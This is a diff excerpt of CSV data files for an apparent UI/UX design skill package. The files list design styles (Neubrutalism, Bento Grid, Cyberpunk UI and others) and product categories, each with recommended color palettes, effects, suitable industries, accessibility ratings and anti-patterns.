24,Social Proof-Focused,Landing Page,"Testimonials prominent, client logos displayed, case studies sections, reviews/ratings, user avatars, success metrics, credibility markers","Primary brand, trust colors (blue), success/growth colors (green), neutral backgrounds","Testimonial highlight colors, logo grid backgrounds (light grey), badge/achievement colors","Testimonial carousel animations, logo grid fade-in, stat counter animations (number count-up), review star ratings","B2B SaaS, professional services, premium products, e-commerce conversion pages, established brands","Startup MVPs, products without users, niche/experimental products",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Full,✓ High
|
||||
25,Interactive Product Demo,Landing Page,"Embedded product mockup/video, interactive elements, product walkthrough, step-by-step guides, hover-to-reveal features, embedded demos","Primary brand, interface colors matching product, demo highlight colors for interactive elements","Product UI colors, tutorial step colors (numbered progression), hover state indicators","Product animation playback, step progression animations, hover reveal effects, smooth zoom on interaction","SaaS platforms, tool/software products, productivity apps landing pages, developer tools, productivity software","Simple services, consulting, non-digital products, complexity-averse audiences",✓ Full,✓ Full,⚠ Good (video/interactive),✓ WCAG AA,✓ Good,✓ Very High
|
||||
26,Trust & Authority,Landing Page,"Certificates/badges displayed, expert credentials, case studies with metrics, before/after comparisons, industry recognition, security badges","Professional colors (blue/grey), trust colors, certification badge colors (gold/silver accents)","Certificate highlight colors, metric showcase colors, comparison highlight (success green)","Badge hover effects, metric pulse animations, certificate carousel, smooth stat reveal","Healthcare/medical landing pages, financial services, enterprise software, premium/luxury products, legal services","Casual products, entertainment, viral/social-first products",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ Full,✓ High
|
||||
27,Storytelling-Driven,Landing Page,"Narrative flow, visual story progression, section transitions, consistent character/brand voice, emotional messaging, journey visualization","Brand primary, warm/emotional colors, varied accent colors per story section, high visual variety","Story section color coding, emotional state colors (calm, excitement, success), transitional gradients","Section-to-section animations, scroll-triggered reveals, character/icon animations, morphing transitions, parallax narrative","Brand/startup stories, mission-driven products, premium/lifestyle brands, documentary-style products, educational","Technical/complex products (unless narrative-driven), traditional enterprise software",✓ Full,✓ Full,⚠ Moderate (animations),✓ WCAG AA,✓ Good,✓ High
|
||||
28,Data-Dense Dashboard,BI/Analytics,"Multiple charts/widgets, data tables, KPI cards, minimal padding, grid layout, space-efficient, maximum data visibility","Neutral primary (light grey/white #F5F5F5), data colors (blue/green/red), dark text #333333","Chart colors: success (green #22C55E), warning (amber #F59E0B), alert (red #EF4444), neutral (grey)","Hover tooltips, chart zoom on click, row highlighting on hover, smooth filter animations, data loading spinners","Business intelligence dashboards, financial analytics, enterprise reporting, operational dashboards, data warehousing","Marketing dashboards, consumer-facing analytics, simple reporting",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
29,Heat Map & Heatmap Style,BI/Analytics,"Color-coded grid/matrix, data intensity visualization, geographical heat maps, correlation matrices, cell-based representation, gradient coloring","Gradient scale: Cool (blue #0080FF) to hot (red #FF0000), neutral middle (white/yellow)","Support gradients: Light (cool blue) to dark (warm red), divergent for positive/negative data, monochromatic options","Color gradient transitions on data change, cell highlighting on hover, tooltip reveal on click, smooth color animation","Geographical analysis, performance matrices, correlation analysis, user behavior heatmaps, temperature/intensity data","Linear data representation, categorical comparisons (use bar charts), small datasets",✓ Full,✓ Full (with adjustments),⚡ Excellent,⚠ Colorblind considerations,◐ Medium,✗ Not applicable
|
||||
30,Executive Dashboard,BI/Analytics,"High-level KPIs, large key metrics, minimal detail, summary view, trend indicators, at-a-glance insights, executive summary","Brand colors, professional palette (blue/grey/white), accent for KPIs, red for alerts/concerns","KPI highlight colors: positive (green), negative (red), neutral (grey), trend arrow colors","KPI value animations (count-up), trend arrow direction animations, metric card hover lift, alert pulse effect","C-suite dashboards, business summary reports, decision-maker dashboards, strategic planning views","Detailed analyst dashboards, technical deep-dives, operational monitoring",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✗ Low (not mobile-optimized),✗ Not applicable
|
||||
31,Real-Time Monitoring,BI/Analytics,"Live data updates, status indicators, alert notifications, streaming data visualization, active monitoring, streaming charts","Alert colors: critical (red #FF0000), warning (orange #FFA500), normal (green #22C55E), updating (blue animation)","Status indicator colors, chart line colors varying by metric, streaming data highlight colors","Real-time chart animations, alert pulse/glow, status indicator blink animation, smooth data stream updates, loading effect","System monitoring dashboards, DevOps dashboards, real-time analytics, stock market dashboards, live event tracking","Historical analysis, long-term trend reports, archived data dashboards",✓ Full,✓ Full,⚡ Good (real-time load),✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
32,Drill-Down Analytics,BI/Analytics,"Hierarchical data exploration, expandable sections, interactive drill-down paths, summary-to-detail flow, context preservation","Primary brand, breadcrumb colors, drill-level indicator colors, hierarchy depth colors","Drill-down path indicator colors, level-specific colors, highlight colors for selected level, transition colors","Drill-down expand animations, breadcrumb click transitions, smooth detail reveal, level change smooth, data reload animation","Sales analytics, product analytics, funnel analysis, multi-dimensional data exploration, business intelligence","Simple linear data, single-metric dashboards, streaming real-time dashboards",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
33,Comparative Analysis Dashboard,BI/Analytics,"Side-by-side comparisons, period-over-period metrics, A/B test results, regional comparisons, performance benchmarks","Comparison colors: primary (blue), comparison (orange/purple), delta indicator (green/red)","Winning metric color (green), losing metric color (red), neutral comparison (grey), benchmark colors","Comparison bar animations (grow to value), delta indicator animations (direction arrows), highlight on compare","Period-over-period reporting, A/B test dashboards, market comparison, competitive analysis, regional performance","Single metric dashboards, future projections (use forecasting), real-time only (no historical)",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
34,Predictive Analytics,BI/Analytics,"Forecast lines, confidence intervals, trend projections, scenario modeling, AI-driven insights, anomaly detection visualization","Forecast line color (distinct from actual), confidence interval shading, anomaly highlight (red alert), trend colors","High confidence (dark color), low confidence (light color), anomaly colors (red/orange), normal trend (green/blue)","Forecast line animation on draw, confidence band fade-in, anomaly pulse alert, smoothing function animations","Forecasting dashboards, anomaly detection systems, trend prediction dashboards, AI-powered analytics, budget planning","Historical-only dashboards, simple reporting, real-time operational dashboards",✓ Full,✓ Full,⚠ Good (computation),✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
35,User Behavior Analytics,BI/Analytics,"Funnel visualization, user flow diagrams, conversion tracking, engagement metrics, user journey mapping, cohort analysis","Funnel stage colors: high engagement (green), drop-off (red), conversion (blue), user flow arrows (grey)","Stage completion colors (success), abandonment colors (warning), engagement levels (gradient), cohort colors","Funnel animation (fill-down), flow diagram animations (connection draw), conversion pulse, engagement bar fill","Conversion funnel analysis, user journey tracking, engagement analytics, cohort analysis, retention tracking","Real-time operational metrics, technical system monitoring, financial transactions",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Good,✗ Not applicable
|
||||
36,Financial Dashboard,BI/Analytics,"Revenue metrics, profit/loss visualization, budget tracking, financial ratios, portfolio performance, cash flow, audit trail","Financial colors: profit (green #22C55E), loss (red #EF4444), neutral (grey), trust (dark blue #003366)","Revenue highlight (green), expenses (red), budget variance (orange/red), balance (grey), accuracy (blue)","Number animations (count-up), trend direction indicators, percentage change animations, profit/loss color transitions","Financial reporting, accounting dashboards, portfolio tracking, budget monitoring, banking analytics","Simple business dashboards, entertainment/social metrics, non-financial data",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✗ Low,✗ Not applicable
|
||||
37,Sales Intelligence Dashboard,BI/Analytics,"Deal pipeline, sales metrics, territory performance, sales rep leaderboard, win-loss analysis, quota tracking, forecast accuracy","Sales colors: won (green), lost (red), in-progress (blue), blocked (orange), quota met (gold), quota missed (grey)","Pipeline stage colors, rep performance colors, quota achievement colors, forecast accuracy colors","Deal movement animations, metric updates, leaderboard ranking changes, gauge needle movements, status change highlights","CRM dashboards, sales management, opportunity tracking, performance management, quota planning","Marketing analytics, customer support metrics, HR dashboards",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,◐ Medium,✗ Not applicable,"Recharts 9/10, Chart.js 9/10",2020s Modern,Medium
|
||||
38,Neubrutalism,General,"Bold borders, black outlines, primary colors, thick shadows, no gradients, flat colors, 45° shadows, playful, Gen Z","#FFEB3B (Yellow), #FF5252 (Red), #2196F3 (Blue), #000000 (Black borders)","Limited accent colors, high contrast combinations, no gradients allowed","box-shadow: 4px 4px 0 #000, border: 3px solid #000, no gradients, sharp corners (0px), bold typography","Gen Z brands, startups, creative agencies, Figma-style apps, Notion-style interfaces, tech blogs","Luxury brands, finance, healthcare, conservative industries (too playful)",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 8/10",2020s Modern,Low
|
||||
39,Bento Box Grid,General,"Modular cards, asymmetric grid, varied sizes, Apple-style, dashboard tiles, negative space, clean hierarchy, cards","Neutral base + brand accent, #FFFFFF, #F5F5F5, brand primary","Subtle gradients, shadow variations, accent highlights for interactive cards","grid-template with varied spans, rounded-xl (16px), subtle shadows, hover scale (1.02), smooth transitions","Dashboards, product pages, portfolios, Apple-style marketing, feature showcases, SaaS","Dense data tables, text-heavy content, real-time monitoring",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, CSS Grid 10/10",2020s Apple,Low
|
||||
40,Y2K Aesthetic,General,"Neon pink, chrome, metallic, bubblegum, iridescent, glossy, retro-futurism, 2000s, futuristic nostalgia","#FF69B4 (Hot Pink), #00FFFF (Cyan), #C0C0C0 (Silver), #9400D3 (Purple)","Metallic gradients, glossy overlays, iridescent effects, chrome textures","linear-gradient metallic, glossy buttons, 3D chrome effects, glow animations, bubble shapes","Fashion brands, music platforms, Gen Z brands, nostalgia marketing, entertainment, youth-focused","B2B enterprise, healthcare, finance, conservative industries, elderly users",✓ Full,◐ Partial,⚠ Good,⚠ Check contrast,✓ Good,✓ High,"Tailwind 8/10, CSS-in-JS 9/10",Y2K 2000s,Medium
|
||||
41,Cyberpunk UI,General,"Neon, dark mode, terminal, HUD, sci-fi, glitch, dystopian, futuristic, matrix, tech noir","#00FF00 (Matrix Green), #FF00FF (Magenta), #00FFFF (Cyan), #0D0D0D (Dark)","Neon gradients, scanline overlays, glitch colors, terminal green accents","Neon glow (text-shadow), glitch animations (skew/offset), scanlines (::before overlay), terminal fonts","Gaming platforms, tech products, crypto apps, sci-fi applications, developer tools, entertainment","Corporate enterprise, healthcare, family apps, conservative brands, elderly users",✗ No,✓ Only,⚠ Moderate,⚠ Limited (dark+neon),◐ Medium,◐ Medium,"Tailwind 8/10, Custom CSS 10/10",2020s Cyberpunk,Medium
|
||||
42,Organic Biophilic,General,"Nature, organic shapes, green, sustainable, rounded, flowing, wellness, earthy, natural textures","#228B22 (Forest Green), #8B4513 (Earth Brown), #87CEEB (Sky Blue), #F5F5DC (Beige)","Natural gradients, earth tones, sky blues, organic textures, wood/stone colors","Rounded corners (16-24px), organic curves (border-radius variations), natural shadows, flowing SVG shapes","Wellness apps, sustainability brands, eco products, health apps, meditation, organic food brands","Tech-focused products, gaming, industrial, urban brands",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, CSS 10/10",2020s Sustainable,Low
|
||||
43,AI-Native UI,General,"Chatbot, conversational, voice, assistant, agentic, ambient, minimal chrome, streaming text, AI interactions","Neutral + single accent, #6366F1 (AI Purple), #10B981 (Success), #F5F5F5 (Background)","Status indicators, streaming highlights, context card colors, subtle accent variations","Typing indicators (3-dot pulse), streaming text animations, pulse animations, context cards, smooth reveals","AI products, chatbots, voice assistants, copilots, AI-powered tools, conversational interfaces","Traditional forms, data-heavy dashboards, print-first content",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, React 10/10",2020s AI-Era,Low
|
||||
44,Memphis Design,General,"80s, geometric, playful, postmodern, shapes, patterns, squiggles, triangles, neon, abstract, bold","#FF71CE (Hot Pink), #FFCE5C (Yellow), #86CCCA (Teal), #6A7BB4 (Blue Purple)","Complementary geometric colors, pattern fills, contrasting accent shapes","transform: rotate(), clip-path: polygon(), mix-blend-mode, repeating patterns, bold shapes","Creative agencies, music sites, youth brands, event promotion, artistic portfolios, entertainment","Corporate finance, healthcare, legal, elderly users, conservative brands",✓ Full,✓ Full,⚡ Excellent,⚠ Check contrast,✓ Good,◐ Medium,"Tailwind 9/10, CSS 10/10",1980s Postmodern,Medium
|
||||
45,Vaporwave,General,"Synthwave, retro-futuristic, 80s-90s, neon, glitch, nostalgic, sunset gradient, dreamy, aesthetic","#FF71CE (Pink), #01CDFE (Cyan), #05FFA1 (Mint), #B967FF (Purple)","Sunset gradients, glitch overlays, VHS effects, neon accents, pastel variations","text-shadow glow, linear-gradient, filter: hue-rotate(), glitch animations, retro scan lines","Music platforms, gaming, creative portfolios, tech startups, entertainment, artistic projects","Business apps, e-commerce, education, healthcare, enterprise software",✓ Full,✓ Dark focused,⚠ Moderate,⚠ Poor (motion),◐ Medium,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",1980s-90s Retro,Medium
|
||||
46,Dimensional Layering,General,"Depth, overlapping, z-index, layers, 3D, shadows, elevation, floating, cards, spatial hierarchy","Neutral base (#FFFFFF, #F5F5F5, #E0E0E0) + brand accent for elevated elements","Shadow variations (sm/md/lg/xl), elevation colors, highlight colors for top layers","z-index stacking, box-shadow elevation (4 levels), transform: translateZ(), backdrop-filter, parallax","Dashboards, card layouts, modals, navigation, product showcases, SaaS interfaces","Print-style layouts, simple blogs, low-end devices, flat design requirements",✓ Full,✓ Full,⚠ Good,⚠ Moderate (SR issues),✓ Good,✓ High,"Tailwind 10/10, MUI 10/10, Chakra 10/10",2020s Modern,Medium
|
||||
47,Exaggerated Minimalism,General,"Bold minimalism, oversized typography, high contrast, negative space, loud minimal, statement design","#000000 (Black), #FFFFFF (White), single vibrant accent only","Minimal - single accent color, no secondary colors, extreme restraint","font-size: clamp(3rem 10vw 12rem), font-weight: 900, letter-spacing: -0.05em, massive whitespace","Fashion, architecture, portfolios, agency landing pages, luxury brands, editorial","E-commerce catalogs, dashboards, forms, data-heavy, elderly users, complex apps",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"Tailwind 10/10, Typography.js 10/10",2020s Modern,Low
|
||||
48,Kinetic Typography,General,"Motion text, animated type, moving letters, dynamic, typing effect, morphing, scroll-triggered text","Flexible - high contrast recommended, bold colors for emphasis, animation-friendly palette","Accent colors for emphasis, transition colors, gradient text fills","@keyframes text animation, typing effect, background-clip: text, GSAP ScrollTrigger, split text","Hero sections, marketing sites, video platforms, storytelling, creative portfolios, landing pages","Long-form content, accessibility-critical, data interfaces, forms, elderly users",✓ Full,✓ Full,⚠ Moderate,❌ Poor (motion),✓ Good,✓ Very High,"GSAP 10/10, Framer Motion 10/10",2020s Modern,High
|
||||
49,Parallax Storytelling,General,"Scroll-driven, narrative, layered scrolling, immersive, progressive disclosure, cinematic, scroll-triggered","Story-dependent, often gradients and natural colors, section-specific palettes","Section transition colors, depth layer colors, narrative mood colors","transform: translateY(scroll), position: fixed/sticky, perspective: 1px, scroll-triggered animations","Brand storytelling, product launches, case studies, portfolios, annual reports, marketing campaigns","E-commerce, dashboards, mobile-first, SEO-critical, accessibility-required",✓ Full,✓ Full,❌ Poor,❌ Poor (motion),✗ Low,✓ High,"GSAP ScrollTrigger 10/10, Locomotive Scroll 10/10",2020s Modern,High
|
||||
50,Swiss Modernism 2.0,General,"Grid system, Helvetica, modular, asymmetric, international style, rational, clean, mathematical spacing","#000000, #FFFFFF, #F5F5F5, single vibrant accent only","Minimal secondary, accent for emphasis only, no gradients","display: grid, grid-template-columns: repeat(12 1fr), gap: 1rem, mathematical ratios, clear hierarchy","Corporate sites, architecture, editorial, SaaS, museums, professional services, documentation","Playful brands, children's sites, entertainment, gaming, emotional storytelling",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 9/10, Foundation 10/10",1950s Swiss + 2020s,Low
|
||||
51,HUD / Sci-Fi FUI,General,"Futuristic, technical, wireframe, neon, data, transparency, iron man, sci-fi, interface","Neon Cyan #00FFFF, Holographic Blue #0080FF, Alert Red #FF0000","Transparent Black, Grid Lines #333333","Glow effects, scanning animations, ticker text, blinking markers, fine line drawing","Sci-fi games, space tech, cybersecurity, movie props, immersive dashboards","Standard corporate, reading heavy content, accessible public services",✓ Low,✓ Full,⚠ Moderate (renders),⚠ Poor (thin lines),◐ Medium,✗ Low,"React 9/10, Canvas 10/10",2010s Sci-Fi,High
|
||||
52,Pixel Art,General,"Retro, 8-bit, 16-bit, gaming, blocky, nostalgic, pixelated, arcade","Primary colors (NES Palette), brights, limited palette","Black outlines, shading via dithering or block colors","Frame-by-frame sprite animation, blinking cursor, instant transitions, marquee text","Indie games, retro tools, creative portfolios, nostalgia marketing, Web3/NFT","Professional corporate, modern SaaS, high-res photography sites",✓ Full,✓ Full,⚡ Excellent,✓ Good (if contrast ok),✓ High,◐ Medium,"CSS (box-shadow) 8/10, Canvas 10/10",1980s Arcade,Medium
|
||||
53,Bento Grids,General,"Apple-style, modular, cards, organized, clean, hierarchy, grid, rounded, soft","Off-white #F5F5F7, Clean White #FFFFFF, Text #1D1D1F","Subtle accents, soft shadows, blurred backdrops","Hover scale (1.02), soft shadow expansion, smooth layout shifts, content reveal","Product features, dashboards, personal sites, marketing summaries, galleries","Long-form reading, data tables, complex forms",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ High,✓ High,"CSS Grid 10/10, Tailwind 10/10",2020s Apple/Linear,Low
|
||||
54,Neubrutalism,General,"Bold, ugly-cute, raw, high contrast, flat, hard shadows, distinct, playful, loud","Pop Yellow #FFDE59, Bright Red #FF5757, Black #000000","Lavender #CBA6F7, Mint #76E0C2","Hard hover shifts (4px), marquee scrolling, jitter animations, bold borders","Design tools, creative agencies, Gen Z brands, personal blogs, gumroad-style","Banking, legal, healthcare, serious enterprise, elderly users",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Plain CSS 10/10",2020s Modern Retro,Low
|
||||
55,Spatial UI (VisionOS),General,"Glass, depth, immersion, spatial, translucent, gaze, gesture, apple, vision-pro","Frosted Glass #FFFFFF (15-30% opacity), System White","Vibrant system colors for active states, deep shadows for depth","Parallax depth, dynamic lighting response, gaze-hover effects, smooth scale on focus","Spatial computing apps, VR/AR interfaces, immersive media, futuristic dashboards","Text-heavy documents, high-contrast requirements, non-3D capable devices",✓ Full,✓ Full,⚠ Moderate (blur cost),⚠ Contrast risks,✓ High (if adapted),✓ High,"SwiftUI, React (Three.js/Fiber)",2024 Spatial Era,High
|
||||
56,E-Ink / Paper,General,"Paper-like, matte, high contrast, texture, reading, calm, slow tech, monochrome","Off-White #FDFBF7, Paper White #F5F5F5, Ink Black #1A1A1A","Pencil Grey #4A4A4A, Highlighter Yellow #FFFF00 (accent)","No motion blur, distinct page turns, grain/noise texture, sharp transitions (no fade)","Reading apps, digital newspapers, minimal journals, distraction-free writing, slow-living brands","Gaming, video platforms, high-energy marketing, dark mode dependent apps",✓ Full,✗ Low (inverted only),⚡ Excellent,✓ WCAG AAA,✓ High,✓ Medium,"Tailwind 10/10, CSS 10/10",2020s Digital Well-being,Low
|
||||
57,Gen Z Chaos / Maximalism,General,"Chaos, clutter, stickers, raw, collage, mixed media, loud, internet culture, ironic","Clashing Brights: #FF00FF, #00FF00, #FFFF00, #0000FF","Gradients, rainbow, glitch, noise, heavily saturated mix","Marquee scrolls, jitter, sticker layering, GIF overload, random placement, drag-and-drop","Gen Z lifestyle brands, music artists, creative portfolios, viral marketing, fashion","Corporate, government, healthcare, banking, serious tools",✓ Full,✓ Full,⚠ Poor (heavy assets),❌ Poor,◐ Medium,✓ High (Viral),CSS-in-JS 8/10,2023+ Internet Core,High
|
||||
58,Biomimetic / Organic 2.0,General,"Nature-inspired, cellular, fluid, breathing, generative, algorithms, life-like","Cellular Pink #FF9999, Chlorophyll Green #00FF41, Bioluminescent Blue","Deep Ocean #001E3C, Coral #FF7F50, Organic gradients","Breathing animations, fluid morphing, generative growth, physics-based movement","Sustainability tech, biotech, advanced health, meditation, generative art platforms","Standard SaaS, data grids, strict corporate, accounting",✓ Full,✓ Full,⚠ Moderate,✓ Good,✓ Good,✓ High,"Canvas 10/10, WebGL 10/10",2024+ Generative,High
|
||||
|
101
skills/ui-ux-pro-max/data/ui-reasoning.csv
Normal file
101
skills/ui-ux-pro-max/data/ui-reasoning.csv
Normal file
@@ -0,0 +1,101 @@
|
||||
No,UI_Category,Recommended_Pattern,Style_Priority,Color_Mood,Typography_Mood,Key_Effects,Decision_Rules,Anti_Patterns,Severity
|
||||
1,SaaS (General),Hero + Features + CTA,Glassmorphism + Flat Design,Trust blue + Accent contrast,Professional + Hierarchy,Subtle hover (200-250ms) + Smooth transitions,"{""if_ux_focused"": ""prioritize-minimalism"", ""if_data_heavy"": ""add-glassmorphism""}",Excessive animation + Dark mode by default,HIGH
|
||||
2,Micro SaaS,Minimal & Direct + Demo,Flat Design + Vibrant & Block,Vibrant primary + White space,Bold + Clean typography,Large CTA hover (300ms) + Scroll reveal,"{""if_quick_onboarding"": ""reduce-steps"", ""if_demo_available"": ""feature-interactive-demo""}",Complex onboarding flow + Cluttered layout,HIGH
|
||||
3,E-commerce,Feature-Rich Showcase,Vibrant & Block-based,Brand primary + Success green,Engaging + Clear hierarchy,Card hover lift (200ms) + Scale effect,"{""if_luxury"": ""switch-to-liquid-glass"", ""if_conversion_focused"": ""add-urgency-colors""}",Flat design without depth + Text-heavy pages,HIGH
|
||||
4,E-commerce Luxury,Feature-Rich Showcase,Liquid Glass + Glassmorphism,Premium colors + Minimal accent,Elegant + Refined typography,Chromatic aberration + Fluid animations (400-600ms),"{""if_checkout"": ""emphasize-trust"", ""if_hero_needed"": ""use-3d-hyperrealism""}",Vibrant & Block-based + Playful colors,HIGH
|
||||
5,Healthcare App,Social Proof-Focused,Neumorphism + Accessible & Ethical,Calm blue + Health green,Readable + Large type (16px+),Soft box-shadow + Smooth press (150ms),"{""must_have"": ""wcag-aaa-compliance"", ""if_medication"": ""red-alert-colors""}",Bright neon colors + Motion-heavy animations + AI purple/pink gradients,HIGH
|
||||
6,Fintech/Crypto,Conversion-Optimized,Glassmorphism + Dark Mode (OLED),Dark tech colors + Vibrant accents,Modern + Confident typography,Real-time chart animations + Alert pulse/glow,"{""must_have"": ""security-badges"", ""if_real_time"": ""add-streaming-data""}",Light backgrounds + No security indicators,HIGH
|
||||
7,Education,Feature-Rich Showcase,Claymorphism + Micro-interactions,Playful colors + Clear hierarchy,Friendly + Engaging typography,Soft press (200ms) + Fluffy elements,"{""if_gamification"": ""add-progress-animation"", ""if_children"": ""increase-playfulness""}",Dark modes + Complex jargon,MEDIUM
|
||||
8,Portfolio/Personal,Storytelling-Driven,Motion-Driven + Minimalism,Brand primary + Artistic,Expressive + Variable typography,Parallax (3-5 layers) + Scroll-triggered reveals,"{""if_creative_field"": ""add-brutalism"", ""if_minimal_portfolio"": ""reduce-motion""}",Corporate templates + Generic layouts,MEDIUM
|
||||
9,Government/Public,Minimal & Direct,Accessible & Ethical + Minimalism,Professional blue + High contrast,Clear + Large typography,Clear focus rings (3-4px) + Skip links,"{""must_have"": ""wcag-aaa"", ""must_have"": ""keyboard-navigation""}",Ornate design + Low contrast + Motion effects + AI purple/pink gradients,HIGH
|
||||
10,Fintech (Banking),Trust & Authority,Minimalism + Accessible & Ethical,Navy + Trust Blue + Gold,Professional + Trustworthy,Smooth state transitions + Number animations,"{""must_have"": ""security-first"", ""if_dashboard"": ""use-dark-mode""}",Playful design + Unclear fees + AI purple/pink gradients,HIGH
|
||||
11,Social Media App,Feature-Rich Showcase,Vibrant & Block-based + Motion-Driven,Vibrant + Engagement colors,Modern + Bold typography,Large scroll animations + Icon animations,"{""if_engagement_metric"": ""add-motion"", ""if_content_focused"": ""minimize-chrome""}",Heavy skeuomorphism + Accessibility ignored,MEDIUM
|
||||
12,Startup Landing,Hero-Centric + Trust,Motion-Driven + Vibrant & Block,Bold primaries + Accent contrast,Modern + Energetic typography,Scroll-triggered animations + Parallax,"{""if_pre_launch"": ""use-waitlist-pattern"", ""if_video_ready"": ""add-hero-video""}",Static design + No video + Poor mobile,HIGH
|
||||
13,Gaming,Feature-Rich Showcase,3D & Hyperrealism + Retro-Futurism,Vibrant + Neon + Immersive,Bold + Impactful typography,WebGL 3D rendering + Glitch effects,"{""if_competitive"": ""add-real-time-stats"", ""if_casual"": ""increase-playfulness""}",Minimalist design + Static assets,HIGH
|
||||
14,Creative Agency,Storytelling-Driven,Brutalism + Motion-Driven,Bold primaries + Artistic freedom,Bold + Expressive typography,CRT scanlines + Neon glow + Glitch effects,"{""must_have"": ""case-studies"", ""if_boutique"": ""increase-artistic-freedom""}",Corporate minimalism + Hidden portfolio,HIGH
|
||||
15,Wellness/Mental Health,Social Proof-Focused,Neumorphism + Accessible & Ethical,Calm Pastels + Trust colors,Calming + Readable typography,Soft press + Breathing animations,"{""must_have"": ""privacy-first"", ""if_meditation"": ""add-breathing-animation""}",Bright neon + Motion overload,HIGH
|
||||
16,Restaurant/Food,Hero-Centric + Conversion,Vibrant & Block-based + Motion-Driven,Warm colors (Orange Red Brown),Appetizing + Clear typography,Food image reveal + Menu hover effects,"{""must_have"": ""high_quality_images"", ""if_delivery"": ""emphasize-speed""}",Low-quality imagery + Outdated hours,HIGH
|
||||
17,Real Estate,Hero-Centric + Feature-Rich,Glassmorphism + Minimalism,Trust Blue + Gold + White,Professional + Confident,3D property tour zoom + Map hover,"{""if_luxury"": ""add-3d-models"", ""must_have"": ""map-integration""}",Poor photos + No virtual tours,HIGH
|
||||
18,Travel/Tourism,Storytelling-Driven + Hero,Aurora UI + Motion-Driven,Vibrant destination + Sky Blue,Inspirational + Engaging,Destination parallax + Itinerary animations,"{""if_experience_focused"": ""use-storytelling"", ""must_have"": ""mobile-booking""}",Generic photos + Complex booking,HIGH
|
||||
19,SaaS Dashboard,Data-Dense Dashboard,Data-Dense + Heat Map,Cool to Hot gradients + Neutral grey,Clear + Readable typography,Hover tooltips + Chart zoom + Real-time pulse,"{""must_have"": ""real-time-updates"", ""if_large_dataset"": ""prioritize-performance""}",Ornate design + Slow rendering,HIGH
|
||||
20,B2B SaaS Enterprise,Feature-Rich Showcase,Trust & Authority + Minimal,Professional blue + Neutral grey,Formal + Clear typography,Subtle section transitions + Feature reveals,"{""must_have"": ""case-studies"", ""must_have"": ""roi-messaging""}",Playful design + Hidden features + AI purple/pink gradients,HIGH
|
||||
21,Music/Entertainment,Feature-Rich Showcase,Dark Mode (OLED) + Vibrant & Block-based,Dark (#121212) + Vibrant accents + Album art colors,Modern + Bold typography,Waveform visualization + Playlist animations,"{""must_have"": ""audio-player-ux"", ""if_discovery_focused"": ""add-playlist-recommendations""}",Cluttered layout + Poor audio player UX,HIGH
|
||||
22,Video Streaming/OTT,Hero-Centric + Feature-Rich,Dark Mode (OLED) + Motion-Driven,Dark bg + Poster colors + Brand accent,Bold + Engaging typography,Video player animations + Content carousel (parallax),"{""must_have"": ""continue-watching"", ""if_personalized"": ""add-recommendations""}",Static layout + Slow video player,HIGH
|
||||
23,Job Board/Recruitment,Conversion-Optimized + Feature-Rich,Flat Design + Minimalism,Professional Blue + Success Green + Neutral,Clear + Professional typography,Search/filter animations + Application flow,"{""must_have"": ""advanced-search"", ""if_salary_focused"": ""highlight-compensation""}",Outdated forms + Hidden filters,HIGH
|
||||
24,Marketplace (P2P),Feature-Rich Showcase + Social Proof,Vibrant & Block-based + Flat Design,Trust colors + Category colors + Success green,Modern + Engaging typography,Review star animations + Listing hover effects,"{""must_have"": ""seller-profiles"", ""must_have"": ""secure-payment""}",Low trust signals + Confusing layout,HIGH
|
||||
25,Logistics/Delivery,Feature-Rich Showcase + Real-Time,Minimalism + Flat Design,Blue (#2563EB) + Orange (tracking) + Green,Clear + Functional typography,Real-time tracking animation + Status pulse,"{""must_have"": ""tracking-map"", ""must_have"": ""delivery-updates""}",Static tracking + No map integration + AI purple/pink gradients,HIGH
|
||||
26,Agriculture/Farm Tech,Feature-Rich Showcase,Organic Biophilic + Flat Design,Earth Green (#4A7C23) + Brown + Sky Blue,Clear + Informative typography,Data visualization + Weather animations,"{""must_have"": ""sensor-dashboard"", ""if_crop_focused"": ""add-health-indicators""}",Generic design + Ignored accessibility + AI purple/pink gradients,MEDIUM
|
||||
27,Construction/Architecture,Hero-Centric + Feature-Rich,Minimalism + 3D & Hyperrealism,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue,Professional + Bold typography,3D model viewer + Timeline animations,"{""must_have"": ""project-portfolio"", ""if_team_collaboration"": ""add-real-time-updates""}",2D-only layouts + Poor image quality + AI purple/pink gradients,HIGH
|
||||
28,Automotive/Car Dealership,Hero-Centric + Feature-Rich,Motion-Driven + 3D & Hyperrealism,Brand colors + Metallic + Dark/Light,Bold + Confident typography,360 product view + Configurator animations,"{""must_have"": ""vehicle-comparison"", ""must_have"": ""financing-calculator""}",Static product pages + Poor UX,HIGH
|
||||
29,Photography Studio,Storytelling-Driven + Hero-Centric,Motion-Driven + Minimalism,Black + White + Minimal accent,Elegant + Minimal typography,Full-bleed gallery + Before/after reveal,"{""must_have"": ""portfolio-showcase"", ""if_booking"": ""add-calendar-system""}",Heavy text + Poor image showcase,HIGH
|
||||
